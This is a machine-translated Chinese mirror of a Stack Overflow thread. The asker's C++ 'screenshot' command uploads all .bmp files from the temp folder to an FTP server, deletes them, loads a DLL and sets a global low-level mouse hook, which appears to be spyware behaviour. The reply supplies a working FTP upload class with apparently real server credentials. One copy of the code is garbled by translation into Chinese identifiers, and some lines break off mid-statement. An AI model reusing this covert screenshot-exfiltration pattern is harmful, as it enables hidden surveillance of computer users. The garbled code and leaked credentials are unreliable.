C++ 删除并上载文件夹中的所有.bmp文件并加载DLL库
我有个问题。 我的目标是创建一个命令“屏幕截图”,检查临时文件夹中是否有任何.bmp文件,然后将所有.bmp文件上传到FTP服务器并删除它。然后加载Dll库。但我的代码不会删除并上传到FTP服务器(FTP登录的凭据是正确的!)让我给你们看看我的代码C++ 删除并上载文件夹中的所有.bmp文件并加载DLL库,c++,winapi,file-upload,delete-file,C++,Winapi,File Upload,Delete File,我有个问题。 我的目标是创建一个命令“屏幕截图”,检查临时文件夹中是否有任何.bmp文件,然后将所有.bmp文件上传到FTP服务器并删除它。然后加载Dll库。但我的代码不会删除并上传到FTP服务器(FTP登录的凭据是正确的!)让我给你们看看我的代码 else if (command == "screenshot") { char *user = "uzivatel"; char *pass = "nenenetotinedam"; char *ftpserver = "s
else if (command == "screenshot")
{
char *user = "uzivatel";
char *pass = "nenenetotinedam";
char *ftpserver = "server.neserver.cz";
std::string strTempPath;
char wchPath[MAX_PATH];
if (GetTempPathA(MAX_PATH, wchPath))
strTempPath = wchPath;
HOOKPROC hhDLL;
for (const auto& p : fs::directory_iterator(strTempPath))
{
if (p.path().extension() == ".bmp")
{
std::string nameone = p.path().string();
LPCSTR name = nameone.c_str();
std::string notFullPath = "/kstest.8u.cz/web/";
LPCSTR path = notFullPath.c_str();
std::string newPath = notFullPath + name;
LPCSTR fullPath = newPath.c_str();
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hFtpSession = InternetConnect(hInternet, ftpserver, INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0);
FtpPutFile(hFtpSession, name, fullPath, FTP_TRANSFER_TYPE_BINARY, 0);
if (FtpPutFile(hFtpSession, name, fullPath, FTP_TRANSFER_TYPE_BINARY, 0) == TRUE)
{
std::cout << "File Sent! " << std::endl;
Sleep(1000);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
remove(name);
}
else
{
std::cout << "File didn't send " << std::endl;
}
}
HHOOK _hook;
HINSTANCE hDLL = LoadLibrary("D:\\Dll3.dll");
__declspec(dllexport) LRESULT __cdecl HookCallback(int nCode, WPARAM wParam, LPARAM lParam);
__declspec(dllexport) void __cdecl TakeScreenShot(const char* filename);
hhDLL = (HOOKPROC)GetProcAddress((hDLL), "HookCallback");
_hook = SetWindowsHookEx(WH_MOUSE_LL, hhDLL, hDLL, 0);
}
}
else if(命令==“屏幕截图”)
{
char*user=“uzivatel”;
char*pass=“nenenetotinedam”;
char*ftpserver=“server.neserver.cz”;
std::字符串strTempPath;
字符wchPath[MAX_PATH];
if(gettempatha(最大路径,wchPath))
strtempath=wchPath;
HOOKPROC-hhDLL;
for(const auto&p:fs::directory\u迭代器(strtempath))
{
如果(p.path().extension()=“.bmp”)
{
std::string nameone=p.path().string();
LPCSTR name=nameone.c_str();
std::string notFullPath=“/kstest.8u.cz/web/”;
LPCSTR path=notFullPath.c_str();
std::string newPath=notFullPath+name;
LPCSTR fullPath=newPath.c_str();
腹内网腹内网;
腹地hFtpSession;
hInternet=InternetOpen(NULL,INTERNET\u OPEN\u TYPE\u DIRECT,NULL,NULL,0);
hFtpSession=InternetConnect(网内、FTP服务器、互联网默认、FTP端口、用户、通行证、互联网服务、FTP、0、0);
FtpPutFile(hFtpSession,名称,完整路径,FTP\u传输类型\u二进制,0);
if(FtpPutFile(hFtpSession,name,fullPath,FTP\u TRANSFER\u TYPE\u BINARY,0)=TRUE)
{
std::cout不可能说出问题出在哪里,但看起来您同时做的事情太多了。您不检查返回值,也不释放资源,因此我制作了一个控制台示例,说明如何处理HINTERNET资源,并使用异常检查错误
#include "pch.h" // if you use precompiled headers
#include <iostream>
#include <vector>
#include <string>
#include <Windows.h>
#include <wininet.h>
// A simple wide string exception class.
class werror {
std::wstring text;
public:
werror(const wchar_t* Text) : text(Text) {}
werror(const std::wstring& Text) : text(Text) {}
const wchar_t* what() const { return text.c_str(); }
};
// base class for HINTERNET resources that will free the resource
// when destroyed
class IBase {
HINTERNET hInternet;
public:
IBase(HINTERNET h) : hInternet(h) {
if (!hInternet) // invalid handle, throw an exception
throw werror(L"Internet error " + std::to_wstring(GetLastError()));
}
// no copying or moving
IBase(const IBase&) = delete;
IBase(IBase&&) = delete;
IBase& operator=(const IBase&) = delete;
IBase& operator=(IBase&&) = delete;
// free the resource when being destroyed
virtual ~IBase() { InternetCloseHandle(hInternet); }
// conversion to HINTERNET for functions that need it
operator HINTERNET () const {
return hInternet;
}
};
// class for an FTP session
class FtpSession : public IBase {
public:
FtpSession(HINTERNET h) : IBase(h) {}
void PutFile(const std::wstring& LocalFile, const std::wstring& NewRemoteFile) {
auto rv = FtpPutFile(
*this, LocalFile.c_str(), NewRemoteFile.c_str(), FTP_TRANSFER_TYPE_BINARY, 0
);
if (!rv) // FtpPutFile failed, throw an exception
throw werror(L"PutFile error " + std::to_wstring(GetLastError()));
}
};
// a class factory to create Ftp (and future) objects
class Internet : public IBase {
public:
Internet(const std::wstring& Agent, DWORD dwAccessType, const std::wstring& Proxy,
const std::wstring& ProxyBypass, DWORD dwFlags) :
IBase(
InternetOpen(
Agent.c_str(),
dwAccessType,
Proxy.size() ? Proxy.c_str() : nullptr,
ProxyBypass.size() ? ProxyBypass.c_str() : nullptr,
dwFlags
)
)
{}
// factory method for creating an Ftp object
FtpSession GetFtpSession(const std::wstring& server,
const std::wstring& user, const std::wstring& pass)
{
return FtpSession(
InternetConnect(
*this, server.c_str(), INTERNET_DEFAULT_FTP_PORT,
user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0
)
);
}
};
// Example: This program will transfer all the files you give on the commandline
// to your FTP server
int wmain(int argc, wchar_t* argv[])
{
std::vector<std::wstring> args(argv + 1, argv + argc);
try {
// "inet" can be used for as long as the program is running to create Ftp
// (and future internet) objects. It's "expensive" to create this object
// so keep it until you are sure you don't need it.
Internet inet(L"user-agent-name", INTERNET_OPEN_TYPE_DIRECT, L"", L"", 0);
for (const auto& file : args) {
// we create one Ftp session per file (probably not needed)
FtpSession ftp = inet.GetFtpSession(L"klokanek.endora.cz", L"oxytram8ucz", L"a1jfGIP69. ");
std::wcout << L"Transferring " << file << L"\n";
ftp.PutFile(file, file);
std::wcout << L"Done with " << file << L"\n";
}
}
catch (const werror& ex) {
std::wcerr << L"Exception: " << ex.what() << L"\n";
}
}
当你想安装钩子的时候,只需这样做
my_mouse_hook = SetWindowsHookEx(WH_MOUSE_LL, hhDLL, hDLL, 0);
然后忘记它。当程序死机并且HookMgr
被销毁时,它将自动释放安装的钩子。加载/卸载DLL时可以执行类似的操作:s。首先检查所有这些函数调用的返回值。如果失败,请使用GetLastError()为了找出原因。请提供一个-但不要提供真实的登录凭据(我希望这些不是真实的?)。一件事:当发送二进制文件时,如.bmp
文件,使用FTP\u TRANSFER\u TYPE\u binary
,而不是ASCII.Bro很好的尝试,但我在命令“屏幕截图”的功能中需要它…SorryYeah,在程序启动时实例化一个Internet
对象,并在程序的其余部分运行该实例。在屏幕截图例程中,执行Ftp ftpSession=inet.GetFtpSession(L“klokanek.endora.cz”,L“oxytram8ucz”,L“a1jfGIP69.”
并像上面的例子那样进行传输。它对我来说很好。我刚刚重命名了Ftp
类FtpSession
,因为我不喜欢旧名称,但它的工作方式没有真正的改变。好吧,那么为什么不删除该文件,为什么不加载dll库呢?调试器的屏幕截图:这些是分开的e问题,您不检查代码中应该检查的std::remove
的返回值。例如,在Windows中,您不能删除由另一个进程打开的文件。加载DLL或获取进程地址时也不检查返回值。执行此操作,然后检查GetLatestError()
每当您得到指示错误的返回值时,都可以查看发生了什么。
my_mouse_hook = SetWindowsHookEx(WH_MOUSE_LL, hhDLL, hDLL, 0);